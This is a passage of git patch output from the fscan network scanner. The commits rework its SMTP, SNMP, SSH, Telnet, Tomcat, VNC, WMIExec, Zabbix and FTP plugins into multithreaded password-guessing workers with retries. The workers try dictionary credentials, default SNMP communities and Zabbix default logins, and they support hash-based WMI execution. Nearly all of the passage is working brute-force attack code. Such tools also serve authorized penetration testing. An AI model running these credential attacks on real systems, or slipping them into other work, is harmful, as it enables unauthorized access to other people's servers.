Common.CheckErrs(err) { - return true - } - - if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) { - return true - } - - return false -} - // Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { // 建立TCP连接 diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go index 19502ec..5ed3ec1 100644 --- a/Plugins/SMTP.go +++ b/Plugins/SMTP.go @@ -6,6 +6,7 @@ import ( "net" "net/smtp" "strings" + "sync" "time" ) @@ -15,39 +16,129 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 首先测试匿名访问 - flag, err := SmtpConn(info, "", "") - if flag && err == nil { - return err + // 先测试匿名访问 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := SmtpConn(info, "", "") + if flag && err == nil { + return err + } + if err != nil { + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["smtp"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["smtp"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := SmtpConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行SMTP连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + flag, err := SmtpConn(info, user, pass) + done <- struct { + success bool + err error + }{flag, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smtp"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go index f9ab158..80a3ec2 100644 --- a/Plugins/SNMP.go +++ b/Plugins/SNMP.go @@ -6,6 +6,7 @@ import ( "github.com/shadow1ng/fscan/Common" "strconv" "strings" + "sync" "time" ) @@ -15,31 +16,107 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() - portNum, _ := strconv.Atoi(info.Ports) // 添加端口转换 + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 首先尝试默认community strings + portNum, _ := strconv.Atoi(info.Ports) defaultCommunities := []string{"public", "private", "cisco", "community"} + // 创建任务通道 + taskChan := make(chan string, len(defaultCommunities)) + resultChan := make(chan error, threads) + + // 生成所有community任务 for _, community := range defaultCommunities { - flag, err := SNMPConnect(info, community, portNum) // 传入转换后的端口 - if flag && err == nil { - return err - } + taskChan <- community + } + close(taskChan) - if Common.CheckErrs(err) { - return err - } + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() - errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", - info.Host, info.Ports, community, err) - Common.LogError(errlog) - tmperr = err + for community := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + timeout := time.Duration(Common.Timeout) * time.Second + if time.Now().Unix()-starttime > int64(timeout.Seconds()) { + resultChan <- fmt.Errorf("扫描超时") + return + } - // 修正超时计算 - timeout := time.Duration(Common.Timeout) * time.Second - if time.Now().Unix()-starttime > int64(timeout.Seconds())*int64(len(defaultCommunities)) { - return err + // 执行SNMP连接 + done := make(chan struct { + success bool + err error + }) + + go func(community string) { + success, err := SNMPConnect(info, community, portNum) + done <- struct { + success bool + err error + }{success, err} + }(community) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功", + info.Host, info.Ports, community) + Common.LogSuccess(successLog) + resultChan <- nil + return + } + case <-time.After(timeout): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", + info.Host, info.Ports, community, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if retryErr := Common.CheckErrs(err); retryErr != nil { + return err + } } } diff --git a/Plugins/SSH.go b/Plugins/SSH.go index 960a46e..b305d53 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -16,13 +16,13 @@ func SshScan(info *Common.HostInfo) (tmperr error) { return } - threads := Common.BruteThreads // 使用 BruteThreads 来控制线程数 + maxRetries := Common.MaxRetries + threads := Common.BruteThreads taskChan := make(chan struct { user string pass string }, len(Common.Userdict["ssh"])*len(Common.Passwords)) - // 创建结果通道 resultChan := make(chan error, threads) // 生成所有任务 @@ -37,62 +37,66 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } close(taskChan) - // 启动工作线程 var wg sync.WaitGroup for i := 0; i < threads; i++ { wg.Add(1) go func() { defer wg.Done() for task := range taskChan { - // 为每个任务创建结果通道 - done := make(chan struct { - success bool - err error - }) - - // 执行SSH连接 - go func(user, pass string) { - success, err := SshConn(info, user, pass) - done <- struct { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + done := make(chan struct { success bool err error - }{success, err} - }(task.user, task.pass) + }) - // 等待结果或超时 - var err error - select { - case result := <-done: - err = result.err - if result.success { - resultChan <- nil - return + go func(user, pass string) { + success, err := SshConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + var err error + select { + case result := <-done: + err = result.err + if result.success { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") } - case <-time.After(time.Duration(Common.Timeout) * time.Second): - err = fmt.Errorf("连接超时") - } - if err != nil { - errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", - info.Host, info.Ports, task.user, task.pass, err) - Common.LogError(errlog) + if err != nil { + errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) - if Common.CheckErrs(err) { + // 检查是否是已知错误,如果是则等待3秒后重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + if Common.SshKeyPath != "" { resultChan <- err return } - } - if Common.SshKeyPath != "" { - resultChan <- err - return + break // 如果不需要重试,跳出重试循环 } } resultChan <- nil }() } - // 等待所有线程完成 go func() { wg.Wait() close(resultChan) @@ -102,7 +106,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) { for err := range resultChan { if err != nil { tmperr = err - if Common.CheckErrs(err) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go index 3e35431..5f6a9ed 100644 --- a/Plugins/Telnet.go +++ b/Plugins/Telnet.go @@ -8,55 +8,132 @@ import ( "net" "regexp" "strings" + "sync" "time" ) // TelnetScan 执行Telnet服务扫描和密码爆破 func TelnetScan(info *Common.HostInfo) (tmperr error) { - // 检查是否禁用暴力破解 if Common.DisableBrute { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 遍历用户名密码字典进行尝试 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["telnet"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["telnet"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - // 尝试Telnet连接 - flag, err := telnetConn(info, user, pass) + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() - // 处理连接结果 - if flag { - // 无需认证的情况 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", info.Host, info.Ports) - Common.LogSuccess(result) - return nil - } else if err == nil { - // 成功爆破到密码 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", info.Host, info.Ports, user, pass) - Common.LogSuccess(result) - return nil + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Telnet连接 + done := make(chan struct { + success bool + noAuth bool + err error + }) + + go func(user, pass string) { + flag, err := telnetConn(info, user, pass) + done <- struct { + success bool + noAuth bool + err error + }{err == nil, flag, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.noAuth { + // 无需认证 + result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", + info.Host, info.Ports) + Common.LogSuccess(result) + resultChan <- nil + return + } else if result.success { + // 成功爆破 + result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(result) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 处理错误情况 - errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - // 检查是否存在严重错误需要中断 - if Common.CheckErrs(err) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } - - // 检查是否超时 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["telnet"])*len(Common.Passwords)) * Common.Timeout) { - return fmt.Errorf("扫描超时") - } } } diff --git a/Plugins/Tomcat.go b/Plugins/Tomcat.go index 7f4c7bc..27275a4 100644 --- a/Plugins/Tomcat.go +++ b/Plugins/Tomcat.go @@ -7,6 +7,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net/http" "strings" + "sync" "time" ) @@ -16,31 +17,112 @@ func TomcatScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["tomcat"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["tomcat"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := TomcatConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Tomcat连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := TomcatConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Tomcat Manager %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Tomcat Manager %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["tomcat"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/VNC.go b/Plugins/VNC.go index 74bcb1d..ae71d74 100644 --- a/Plugins/VNC.go +++ b/Plugins/VNC.go @@ -5,46 +5,117 @@ import ( "github.com/mitchellh/go-vnc" "github.com/shadow1ng/fscan/Common" "net" + "sync" "time" ) // VncScan 执行VNC服务扫描及密码尝试 func VncScan(info *Common.HostInfo) (tmperr error) { - // 如果已开启暴力破解则直接返回 if Common.DisableBrute { return } + maxRetries := Common.MaxRetries + threads := Common.BruteThreads modename := "vnc" - starttime := time.Now().Unix() - // 遍历密码字典尝试连接 + // 创建任务通道 + taskChan := make(chan string, len(Common.Passwords)) + resultChan := make(chan error, threads) + + // 生成所有密码任务 for _, pass := range Common.Passwords { - flag, err := VncConn(info, pass) + taskChan <- pass + } + close(taskChan) - if flag && err == nil { - // 连接成功,记录结果 - result := fmt.Sprintf("[+] %s://%v:%v 密码: %v", modename, info.Host, info.Ports, pass) - Common.LogSuccess(result) - return err - } + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() - // 连接失败,记录错误信息 - errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", - modename, info.Host, info.Ports, pass, err) - Common.LogError(errlog) - tmperr = err + for pass := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } - // 检查是否需要中断扫描 - if Common.CheckErrs(err) { - return err - } + // 执行VNC连接 + done := make(chan struct { + success bool + err error + }) - // 检查是否超时 - if time.Now().Unix()-starttime > (int64(len(Common.Passwords)) * Common.Timeout) { - return fmt.Errorf("扫描超时") + go func(pass string) { + success, err := VncConn(info, pass) + done <- struct { + success bool + err error + }{success, err} + }(pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v", + modename, info.Host, info.Ports, pass) + Common.LogSuccess(successLog) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", + modename, info.Host, info.Ports, pass, err) + Common.LogError(errlog) + + // 检查是否是需要重试的错误 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if retryErr := Common.CheckErrs(err); retryErr != nil { + return err + } } } + return tmperr } diff --git a/Plugins/WMIExec.go b/Plugins/WMIExec.go index 262c1fd..1c70a75 100644 --- a/Plugins/WMIExec.go +++ b/Plugins/WMIExec.go @@ -7,6 +7,7 @@ import ( "github.com/shadow1ng/fscan/Common" "os" "strings" + "sync" "time" ) @@ -32,49 +33,132 @@ func WmiExec(info *Common.HostInfo) (tmperr error) { return nil } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["smb"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["smb"] { - PASS: for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) - - flag, err := Wmiexec(info, user, pass, Common.HashValue) - - errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) - errlog = strings.Replace(errlog, "\n", "", -1) - Common.LogError(errlog) - - if flag { - var result string - if Common.Domain != "" { - result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) - } else { - result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) - } - - if Common.HashValue != "" { - result += "hash: " + Common.HashValue - } else { - result += pass - } - Common.LogSuccess(result) - return err - } else { - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { - return err - } - } - + taskChan <- struct { + user string + pass string + }{user, pass} + // 如果是32位hash值,只尝试一次密码 if len(Common.HashValue) == 32 { - break PASS + break } } } + close(taskChan) + + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行WMI连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := Wmiexec(info, user, pass, Common.HashValue) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + // 成功连接 + var successLog string + if Common.Domain != "" { + successLog = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", + info.Host, info.Ports, Common.Domain, task.user) + } else { + successLog = fmt.Sprintf("[+] WmiExec %v:%v:%v ", + info.Host, info.Ports, task.user) + } + + if Common.HashValue != "" { + successLog += "hash: " + Common.HashValue + } else { + successLog += task.pass + } + Common.LogSuccess(successLog) + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", + info.Host, 445, task.user, task.pass, err) + errlog = strings.Replace(errlog, "\n", "", -1) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } + } + resultChan <- nil + }() + } + + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { + tmperr = err + if retryErr := Common.CheckErrs(err); retryErr != nil { + return err + } + } + } + return tmperr } diff --git a/Plugins/Zabbix.go b/Plugins/Zabbix.go index dbe564e..a9eeca6 100644 --- a/Plugins/Zabbix.go +++ b/Plugins/Zabbix.go @@ -7,6 +7,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" + "sync" "time" ) @@ -16,37 +17,134 @@ func ZabbixScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 首先测试默认账户 - flag, err := ZabbixConn(info, "Admin", "zabbix") - if flag && err == nil { - return err + // 先测试默认账号 + defaultDone := make(chan struct { + success bool + err error + }) + + go func() { + success, err := ZabbixConn(info, "Admin", "zabbix") + defaultDone <- struct { + success bool + err error + }{success, err} + }() + + select { + case result := <-defaultDone: + if result.success && result.err == nil { + return result.err + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + Common.LogError(fmt.Sprintf("[-] Zabbix默认账号连接超时 %v:%v", info.Host, info.Ports)) } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["zabbix"])*len(Common.Passwords)) + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["zabbix"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := ZabbixConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Zabbix连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := ZabbixConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Zabbix服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Zabbix服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["zabbix"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/TestDocker/MySQL/Dockerfile b/TestDocker/MySQL/Dockerfile index 5b14e00..0320f93 100644 --- a/TestDocker/MySQL/Dockerfile +++ b/TestDocker/MySQL/Dockerfile @@ -2,7 +2,7 @@ FROM mysql:latest # 设置环境变量 -ENV MYSQL_ROOT_PASSWORD=123456 +ENV MYSQL_ROOT_PASSWORD=Password ENV MYSQL_DATABASE=mydb # 开放3306端口 diff --git a/TestDocker/MySQL/README.txt b/TestDocker/MySQL/README.txt index e0a25fd..dbd446d 100644 --- a/TestDocker/MySQL/README.txt +++ b/TestDocker/MySQL/README.txt @@ -1,5 +1,2 @@ docker build -t mysql-server . -docker run -d \ - -p 3306:3306 \ - --name mysql-container \ - mysql-server \ No newline at end of file +docker run -d -p 3306:3306 --name mysql-container mysql-server \ No newline at end of file From 42482228da689d8e818cfbe7251566082ff8f8c9 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Tue, 31 Dec 2024 20:42:08 +0800 Subject: [PATCH 160/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=BA=86FTP?= =?UTF-8?q?=E7=9A=84=E4=B8=80=E4=B8=AA=E5=B7=B2=E7=9F=A5=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 66 ++++++++++++++++++++++++++++++++++++-------------- 1 file changed, 48 insertions(+), 18 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 3993a62..3e4541c 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -17,6 +17,8 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { maxRetries := Common.MaxRetries threads := Common.BruteThreads + successChan := make(chan struct{}, 1) + defer close(successChan) // 先尝试匿名登录 for retryCount := 0; retryCount < maxRetries; retryCount++ { @@ -27,11 +29,13 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) Common.LogError(errlog) - if retryErr := Common.CheckErrs(err); retryErr != nil { - if retryCount == maxRetries-1 { - return err + if err != nil && !strings.Contains(err.Error(), "Login incorrect") { + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue } - continue } break } @@ -62,17 +66,17 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { wg.Add(1) go func() { defer wg.Done() - starttime := time.Now().Unix() - for task := range taskChan { + // 检查是否已经成功 + select { + case <-successChan: + resultChan <- nil + return + default: + } + // 重试循环 for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-starttime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") - return - } - // 执行FTP连接 done := make(chan struct { success bool @@ -93,6 +97,13 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { case result := <-done: err = result.err if result.success && err == nil { + select { + case successChan <- struct{}{}: + successLog := fmt.Sprintf("[+] FTP %v:%v %v %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(successLog) + default: + } resultChan <- nil return } @@ -106,16 +117,27 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) + // 对于登录失败的错误,直接继续下一个 + if strings.Contains(err.Error(), "Login incorrect") { + break + } + + // 特别处理连接数过多的情况 + if strings.Contains(err.Error(), "too many connections") { + time.Sleep(5 * time.Second) + if retryCount < maxRetries-1 { + continue // 继续重试 + } + } + // 检查是否需要重试 if retryErr := Common.CheckErrs(err); retryErr != nil { if retryCount == maxRetries-1 { - resultChan <- err - return + continue // 继续下一个密码,而不是返回 } continue // 继续重试 } } - break // 如果不需要重试,跳出重试循环 } } @@ -133,8 +155,11 @@ func FtpScan(info *Common.HostInfo) (tmperr error) { for err := range resultChan { if err != nil { tmperr = err - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err + // 对于超时错误也继续执行 + if !strings.Contains(err.Error(), "扫描超时") { + if retryErr := Common.CheckErrs(err); retryErr != nil { + continue // 继续尝试,而不是返回 + } } } } @@ -151,6 +176,12 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er if err != nil { return false, err } + // 确保连接被关闭 + defer func() { + if conn != nil { + conn.Quit() // 发送QUIT命令关闭连接 + } + }() // 尝试登录 if err = conn.Login(Username, Password); err != nil { @@ -171,6 +202,5 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (flag bool, err er } } - Common.LogSuccess(result) return true, nil } From e93b6fc6135181ea259a0ac826d485084bfd610c Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 1 Jan 2025 00:04:53 +0800 Subject: [PATCH 161/188] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D=E4=BA=86RPC?= =?UTF-8?q?=E7=9A=84=E4=B8=80=E4=B8=AA=E5=B7=B2=E7=9F=A5=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: 